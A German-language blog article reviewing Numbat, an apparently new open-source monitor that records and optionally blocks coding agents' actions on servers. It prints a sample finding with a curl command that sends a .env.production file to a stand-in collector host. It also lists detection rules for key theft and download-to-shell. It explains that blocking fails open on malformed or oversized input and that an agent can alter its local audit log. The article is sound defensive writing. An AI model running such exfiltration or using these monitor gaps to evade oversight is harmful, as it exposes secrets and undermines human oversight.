Numbat: Was Ihr KI-Agent auf dem Server ausführt
Perplexity veröffentlicht Numbat als Open Source. Der Monitor protokolliert, was Coding-Agenten auf Servern tun, und zeigt auch, welche Aktionen er nicht blockiert.
Was Numbat ist
Numbat macht sichtbar, was ein KI-Agent auf einem von Ihnen verwalteten Rechner ausgeführt hat. Das Tool liest Hook-Callbacks und Sitzungsdateien ein, die Coding-Agenten bereits erzeugen, normalisiert sie in ein einheitliches Ereignisformat und gleicht sie mit Regeln ab. Diese Regeln lösen bei Verhaltensweisen wie dem Lesen eines privaten SSH-Schlüssels oder dem direkten Weiterleiten eines Downloads an eine Shell aus. Perplexity hat Numbat unter der Apache-2.0-Lizenz als Open Source veröffentlicht. Die erste markierte Version erschien am 29. Juli 2026.
Alle folgenden Angaben stammen aus dem Repository des Projekts und der zugehörigen Dokumentation, die am 2. August 2026 gelesen wurden. Die Versionshistorie, Installationsanforderungen, das Datensatzschema und die Unterstützung der Agenten wurden am 12. Oktober 2026 erneut anhand des Repositorys geprüft. Wenn Perplexity eine Aussage macht, wird dies in diesem Beitrag kenntlich gemacht. Dies ist keine Installationsanleitung, da das Repository noch jung ist und sich seine Befehle ändern werden.
Das Problem: Niemand dokumentiert, was der Agent getan hat
Ein Coding-Agent auf Ihrem VPS führt Shell-Befehle aus, liest Dateien, schreibt Dateien und öffnet Netzwerkverbindungen. Dabei verwendet er den Benutzeraccount, den Sie ihm übergeben haben. Ihre Shell-Historie erfasst davon nichts, weil der Agent keine Befehle in Ihre Shell eingibt. sshd protokolliert Ihre Anmeldung, aber nicht, was das Modell anschließend entschieden hat. /var/log/auth.log bleibt inaktiv, solange nichts auf sudo zugreift. Der Agent führt ein eigenes Transkript. Diese Datei liegt jedoch im Session-Verzeichnis des Agents, ihr Format ändert sich zwischen Releases, und der eigene Prozess des Agents kann sie schreiben.
Wenn Sie also gefragt werden, ob der Agent letzten Dienstag .env.production gelesen hat, lautet die ehrliche Antwort auf den meisten Servern: Das lässt sich nicht feststellen. Diese Lücke ist der Grund für dieses Projekt.
Was Perplexity über die Funktionen von Numbat angibt
Die README beschreibt das Tool zunächst als „Endpunkttransparenz für die Aktivitäten von KI-Agenten mit lokaler Erkennung, optionaler Blockierung vor Aktionen und forensischer Rekonstruktion“. Mit Endpunkt ist hier der Computer gemeint, auf dem der Agent läuft, nicht eine Netzwerk-Appliance, die von außen überwacht. Diese Funktionen sind voneinander getrennt und unterschiedlich zu bewerten.
Die Erkennung läuft auf dem Gerät. Regeln werden in CEL (Common Expression Language) geschrieben und lokal ausgewertet. Darauf setzen Regeln für mehrstufige Sequenzen auf. Eigene Regeln in YAML werden ebenfalls unterstützt. Für das Auslösen einer Regel müssen keine Daten das Gerät verlassen.
Die Blockierung ist optional und auf einen engen Anwendungsfall begrenzt. Sie funktioniert nur über synchrone Pre-Action-Hooks und nur bei Agenten, die solche Hooks bereitstellen. Standardmäßig ist sie deaktiviert.
Die Rekonstruktion erfolgt nachträglich. numbat scan analysiert Sitzungsartefakte, die ein Agent bereits auf die Festplatte geschrieben hat. Dadurch können Sie Aktivitäten untersuchen, die vor der Installation des Tools stattgefunden haben. Das Projekt grenzt diese Aussage ausdrücklich ein: „Die Rekonstruktion ruhender Daten ist keine Erfassung von Festplatten- oder Speicherinhalten und kann keine Aktivitäten wiederherstellen, die ein Agent nicht persistent gespeichert hat.“
Die Ausgabe verwendet versioniertes NDJSON (JSON mit einem Objekt pro Zeile) und umfasst Ereignisse, Befunde, Durchsetzungsentscheidungen, Indikatoren und Scan-Zusammenfassungen. Zum Stand von v0.1.2 war dafür die Schemaversion 0.2.0 angegeben. Das Schema wurde inzwischen weiterentwickelt: Am 12. Oktober 2026 enthielt das Repository die Schemaversionen 0.2.0, 0.3.0 und 0.4.0. Die Datensatzbeispiele in der README zeigten 0.4.0. Die Datensätze werden an stdout oder in eine lokale Datei geschrieben und können optional per HTTP an einen von Ihnen betriebenen Collector gesendet werden. Das Tool wird als eine statische Go-Binärdatei ohne cgo für macOS, Linux und Windows auf amd64 und arm64 ausgeliefert. Auf einem Linux-VPS besteht es daher aus einer einzelnen Datei; eine Laufzeitumgebung muss vorher nicht installiert werden.
Welche Agents kann Numbat tatsächlich sehen?
Die Abdeckungsmatrix in docs/agent-coverage.md ist die maßgebliche Liste, und sie ist uneinheitlich. Das Projekt benennt diese Einschränkung ausdrücklich, statt sie zu verbergen. Claude Code, Codex, Gemini CLI, Cursor und GitHub Copilot CLI unterstützen sowohl die Artefaktanalyse als auch die Live-Erfassung mit einem Pre-Action-Hook. OpenClaw erhält ab Version 2026.7.1 ein natives Plugin. Viele weitere Einträge sind als zurückgestellt markiert. Das bedeutet, dass ein Pfad für Live-Hooks vorhanden ist, der Artefaktparser jedoch fehlt. Häufig liegt das daran, dass der Agent seine Historie in SQLite mit einem Write-Ahead-Log speichert, das während der Laufzeit des Agents nicht sicher gelesen werden kann. Cline CLI gehört zu dieser Gruppe: Die Live-Hooks funktionieren, aber seine SQLite-Sitzungen werden nicht analysiert. OpenCode ist ein Sonderfall. Die Matrix für v0.1.2 analysiert die früheren JSON-Speicher und stellt nur die aktuelle opencode.db-Datenbank zurück. Für OpenCode ist dort keine Pre-Action-Durchsetzung aufgeführt. Die Matrix im main-Branch war am 12. Oktober 2026 weiterhin so aufgebaut.
Prüfen Sie die Zeile für Ihren Agent, bevor Sie auf dieser Grundlage etwas mit dem Tool planen. Denn „unterstützt“ bedeutet in fast jeder Zeile etwas anderes.
Wie eine Erkennung aussieht
Regeln haben IDs, die ihren Zweck angeben. secrets.read_private_key erfasst einen SSH-Schlüssel, AWS-Anmeldedaten, eine kube-Konfiguration oder eine Anmeldung bei einer Paketregistrierung. exec.download_pipe_shell wird ausgelöst, wenn die Ausgabe von curl oder wget an einen Interpreter weitergeleitet wird. privilege.elevated_shell erkennt eine Anfrage nach einer interaktiven Root-Shell über sudo, doas, su oder pkexec. impact.cryptomining_launch findet bekannte Miner-Binärdateien und Image-Namen.
Sequenzregeln verknüpfen Ereignisse innerhalb einer Sitzung. chain.secret_read_then_egress erfordert, dass zuerst eine geheime Datei gelesen wird und anschließend ein Befehl Daten nach außen überträgt. Die README enthält den folgenden Fund aus einer kontrollierten Wiederholung von zwei Claude Code-Callbacks vor der Ausführung, nicht aus einem aktiven Sicherheitsvorfall. Hier ist er auf die relevanten Felder gekürzt:
{
"record_type": "finding",
"rule_id": "chain.secret_read_then_egress",
"rule_version": "1.4",
"severity": "high",
"confidence": "medium",
"title": "Secret-file access followed by data-bearing egress",
"observed_command": "curl --data-binary @/workspace/acme-api/.env.production https://collector.example.invalid/ingest",
"source_agent": "claude-code",
"source_type": "hook",
"tags": ["attack.t1048", "attack.t1552", "attack.t1567"]
}Beachten Sie "confidence": "medium" innerhalb des Datensatzes. Beachten Sie außerdem, was das Projekt über diese gesamte Klasse von Ausgaben sagt: „Findings sind Regelübereinstimmungen, kein Beleg für eine Kompromittierung.“ Ein Deploy-Skript, das einen Schlüssel liest und anschließend ein Build-Artefakt hochlädt, würde dieselbe Sequenzregel erfüllen. Die Übereinstimmung ist korrekt, der Alarm jedoch falsch. Das ist der Normalzustand jedes Erkennungstools, das Sie jemals ausgeführt haben.
Blockieren ist standardmäßig deaktiviert, und bei Fehlern wird die Aktion zugelassen
Jede von Numbat ausgelieferte Regel dient ausschließlich der Überwachung. Eine Regel zu einer Blockierungsregel zu machen, erfordert bewusste Arbeit: Kopieren Sie das vollständige YAML der Regel in Ihr eigenes Verzeichnis, behalten Sie dieselbe id bei, fügen Sie enforce: true hinzu, erhöhen Sie die Version und validieren und installieren Sie anschließend diese Policy.
numbat rules check --rules-dir ./numbat-policy
numbat hook install --agent codex --emit all \
--rules-dir ./numbat-policy --enforceNun zur Frage, wie sehr Sie darauf vertrauen sollten. Numbats deny wird als Antwort an den Agent zurückgegeben. Der Agent verweigert den Tool-Aufruf dann tatsächlich. Die Enforcement-Dokumentation beschreibt direkt, was passiert, wenn Numbat selbst ein Problem hat: „Fehlerhafte Payloads, relevante Auswertungsfehler, Panics und Ausgabefehler unterdrücken den numbat deny.“ Die Eingabe für den Hook ist auf 4 MiB begrenzt. Zu große Eingaben durchlaufen denselben Pfad.
Die Dokumentation beschreibt ebenso direkt die Einschränkung eines deny, das tatsächlich ankommt: „Fail-open bedeutet, dass numbat seine deny-Antwort zurückhält. Es garantiert nicht, dass das Tool ausgeführt wird: Der Host kann weiterhin nachfragen, die Aktion verweigern, eine Zeitüberschreitung auslösen oder einen anderen Hook oder eine andere Policy anwenden.“
Die Durchsetzung ist hier also eine Schutzmaßnahme, keine Sicherheitsgrenze. Wenn der Prozess abstürzt, wird die Aktion nicht durch Numbat blockiert. Ein Monitor, der Ihren Agent bei jedem eigenen Fehler anhält, wird innerhalb einer Woche deinstalliert. Dieser Kompromiss ist vertretbar. Bauen Sie jedoch kein Sicherheitsmodell auf der Annahme auf, dass der deny immer ankommt.
Wo Numbat neben Ihren bestehenden Maßnahmen einzuordnen ist
Numbat läuft auf dem Endpunkt innerhalb des eigenen Prozessbaums des Agents und schreibt standardmäßig nach ~/.numbat/records.ndjson. Ein Agent, der unter Ihrem Benutzerkonto läuft, kann diese Datei lesen. Er kann sie auch bearbeiten. Der Wert der Audit-Spur entspricht genau dem Schutz durch die Isolation um sie herum. Deshalb müssen alle vorhandenen Kontrollen vor dieser Spur liegen und nicht dahinter.
Dem Coding-Agent eine temporäre VM geben begrenzt, worauf ein fehlerhafter Lauf zugreifen kann. Ein Benutzer mit Least Privilege auf dem VPS hält den Agenten von Dateien fern, die er nicht öffnen darf. Zugangsdaten aus dem Kontext des Agents heraushalten sorgt dafür, dass ein secrets.read_private_key-Treffer selten genug ist, um ihn beim Auftreten tatsächlich zu prüfen. Und die Sandbox, die Sie für Claude Code auf einem VPS eingerichtet haben, übernimmt weiterhin die Isolation. Die Isolation begrenzt, worauf ein fehlerhafter Lauf zugreifen kann. Festzuhalten, warum der Code so aufgebaut ist, reduziert dagegen, wie oft der Agent etwas Unerwartetes tut, das Sie zur Logdatei führt.
Numbat ergänzt die Aufzeichnung. Deshalb sollten Sie die Aufzeichnung an einen Ort senden, den der Agent nicht erreichen kann. Dafür sind numbat ship und der HTTP-Sink vorgesehen. Eine Kopie des Datenstroms auf einem zweiten Rechner ist der Unterschied zwischen einer Logdatei und einem Beweismittel. Das Ereignismodell enthält außerdem MCP-Felder (Model Context Protocol). Dadurch landen Tool-Aufrufe, die über einen von Ihnen auf einem VPS betriebenen MCP-Server nach außen gehen, im selben Datenstrom wie lokale Shell-Befehle. Das ist wichtig, weil dieser Pfad für alles unsichtbar ist, was nur bash überwacht. Derselbe blinde Fleck betrifft eine als Such-Backend des Agents eingebundene SearXNG-Instanz. Dort gelangt das Risiko als nicht vertrauenswürdiger Seitentext in den Kontext des Modells und nicht als Befehl, auf den eine Regel reagieren kann.
Zuerst im Nur-Lese-Modus testen
Installieren Sie eine festgelegte Version. Der folgende Befehl legt v0.1.2 fest. Die zugehörige README fordert Go 1.26.5 oder neuer. Die README im Branch main forderte am 12. Oktober 2026 Go 1.26.6 oder neuer. Diese Änderung kam mit v0.2.0. Verwenden Sie daher 1.26.6, wenn Sie ein neueres Tag festlegen. Auf der Releases-Seite stehen vorkompilierte Binärdateien mit SHA-256-Prüfsummen bereit, falls Sie nicht aus dem Quellcode bauen möchten.
go install github.com/perplexityai/numbat/cmd/numbat@v0.1.2
numbat agents
numbat scannumbat agents erkennt auf dem System installierte Agents. numbat scan analysiert die bereits auf dem Datenträger vorhandenen Sitzungsartefakte und gibt Datensätze aus. In der README steht, dass diese Befehle „keine Hooks installieren und die Agent-Konfiguration nicht ändern“. Außerdem steht dort, dass numbat „niemals Agents oder in Artefakten gefundene Befehle ausführt und ausgehende Anfragen nur an konfigurierte HTTP-Sinks sendet“. Die Analyse erfolgt im Nur-Lese-Modus mit Redaction von Secrets. Die normale Datensatzausgabe enthält niemals ein vollständiges ungekürztes Transkript.
Die Live-Erfassung ist der nächste Schritt. Dabei wird die Agent-Konfiguration geändert:
numbat hook install --agent codex --emit all
numbat hook status --agent codex--emit all schreibt Ereignisse, Befunde, Indikatoren und zutreffende Durchsetzungsentscheidungen nach ~/.numbat/records.ndjson. Zwei Hinweise stammen direkt aus dem Projekt. Hooks müssen möglicherweise zunächst innerhalb des Agents als vertrauenswürdig eingestuft werden, bevor sie überhaupt ausgeführt werden. Nach Änderungen an Flags wie --enforce muss diese Vertrauensstellung erneut geprüft werden. Außerdem „überprüft hook status die Konfiguration, nicht die Ausführung oder Zustellung“. Eine Statusmeldung mit dem Zustand „healthy“ beweist daher nicht, dass Datensätze irgendwo eingehen.
Warum ein derart neues Repository keine Abhängigkeit sein sollte
Am 12. Oktober 2026 waren die öffentlichen Releases v0.1.1 vom 29. Juli 2026, v0.1.2 vom 1. August 2026 und v0.2.0 vom 17. August 2026 verfügbar. Auf der Releases-Seite ist v0.2.0 als neuestes Release gekennzeichnet. Das Repository hatte am 2. August 2026, als dieser Beitrag verfasst wurde, 597 Sterne. Ein derart schneller Anstieg spiegelt die Reichweite von Perplexity wider, nicht die Stabilität des Codes. Ein Stern bedeutet, dass jemand die Seite gespeichert hat, um sie später anzusehen.
Die Versionsnummer zeigt klar, wie der aktuelle Stand einzuordnen ist. Die Hinweise zu v0.1.2 betreffen überwiegend Fehlerkorrekturen bei der Entfernung von Zugangsdaten sowie Arbeiten zur Normalisierung von Case-Bundles und Telemetriedaten. Die Hinweise zu v0.2.0 nennen zusätzlich eine begrenzte Erfassung von Nachrichteninhalten, die Durchsetzung von read-file-Aufrufen durch Cursor über dessen beforeReadFile-Hook sowie weitere Korrekturen bei der Entfernung vertraulicher Daten. Fehler bei der Entfernung solcher Daten sind bei einem frühen Tool dieser Art zu erwarten. Seine Aufgabe besteht darin, die Transkripte anderer Programme sicher zu lesen. Weitere Fehler sind wahrscheinlich, weil die Eingaben von einem Dutzend Agents stammen, die ihr Format jeweils nach eigenen Zeitplänen ändern.
Daraus folgen zwei praktische Regeln. Pinnen Sie in allem, was Sie dauerhaft verwenden, den Tag, niemals @latest. Betrachten Sie das Tool außerdem als Werkzeug, das Sie zunächst evaluieren, und nicht als Kontrolle, auf die Sie sich verlassen. Das gilt zumindest so lange, bis sich das Schema der Datensätze nicht mehr ändert. Das ist noch nicht der Fall: Innerhalb von etwa zehn Wochen wechselte die Version von 0.2.0 bei v0.1.2 zu 0.4.0 in der README-Datei auf main.
FAQ
Blockiert Numbat gefährliche Befehle von KI-Agenten?
Nur wenn Sie dies ausdrücklich aktivieren, und auch dann nur nach bestem Bemühen. Jede von Numbat ausgelieferte Regel dient ausschließlich der Überwachung. Zum Blockieren kopieren Sie die YAML-Datei der Regel in Ihr eigenes Verzeichnis, behalten deren id bei, ergänzen enforce: true, erhöhen die Version und installieren den Hook mit --enforce. Auch dann wird die Ablehnung als Antwort an den Agenten zurückgegeben, und der Agent verweigert den Aufruf. Das Projekt dokumentiert ein Fail-Open-Verhalten: Fehlerhafte Payloads, Auswertungsfehler, Panics und Fehler bei der Ausgabe unterdrücken die Ablehnung. Verwenden Sie das als Schutzmaßnahme, nicht als einzige Sicherheitsgrenze.
Welche KI-Agenten unterstützt Numbat?
Der Abdeckungsumfang unterscheidet sich je nach Agent und ist in docs/agent-coverage.md im Repository aufgeführt. Claude Code, Codex, Gemini CLI, Cursor und GitHub Copilot CLI unterstützten beim Abruf dieser Seite am 2. August 2026 sowohl die Artefaktanalyse als auch die Live-Erfassung. OpenClaw verfügt ab Version 2026.7.1 über ein natives Plugin. Viele andere Agenten sind mit einem Pfad für einen Live-Hook aufgeführt, verfügen aber noch über keinen Parser für Artefakte. Der Grund ist meist, dass ihre Sitzungsverläufe in einer SQLite-Datenbank liegen, die während der Ausführung des Agenten nicht sicher gelesen werden kann. Lesen Sie den Eintrag für Ihren Agenten, da der Begriff „unterstützt“ dort mehrere unterschiedliche Stufen umfasst.
Kann der Agent die Aufzeichnungen von Numbat manipulieren?
Ja, wenn er unter demselben Benutzer ausgeführt wird. Aufzeichnungen werden standardmäßig unter ~/.numbat/records.ndjson auf demselben Rechner wie der Agent gespeichert. Alles mit Schreibzugriff auf diesen Pfad kann sie daher ändern oder löschen. Senden Sie den Datenstrom mit numbat ship oder dem HTTP-Sink an einen Collector, den der Agent nicht erreichen kann, und behalten Sie die lokale Datei als zusätzliche Kopie. Deshalb ergänzt das Tool die Isolation, statt sie zu ersetzen. Ein Agent, der unter einem Benutzer mit minimalen Berechtigungen in einer kurzlebigen VM eingeschränkt ist, hat deutlich weniger Zugriff auf sein eigenes Audit-Protokoll.
Ist Numbat für einen Produktivserver bereit?
Nicht als Sicherheitsmaßnahme, auf die Sie sich verlassen. Das erste öffentliche Release war v0.1.1 am 29. Juli 2026. v0.1.2 folgte am 1. August 2026 und v0.2.0 am 17. August 2026. Am 12. Oktober 2026 hatte das Datensatzschema in der README bereits 0.4.0 erreicht. Sowohl die Flags als auch das Datensatzschema ändern sich daher noch. Das Ausführen von numbat agents und numbat scan auf einem Rechner ist schreibgeschützt und mit geringem Risiko verbunden. Sie sehen dadurch, welche Daten Ihre Agenten auf der Festplatte hinterlassen haben. Die Installation von Enforcement-Hooks auf einem wichtigen Server ist eine andere Entscheidung. Dafür benötigen Sie ein festgelegtes Tag und einen Plan für den Fall, dass der Hook fehlerhaft arbeitet.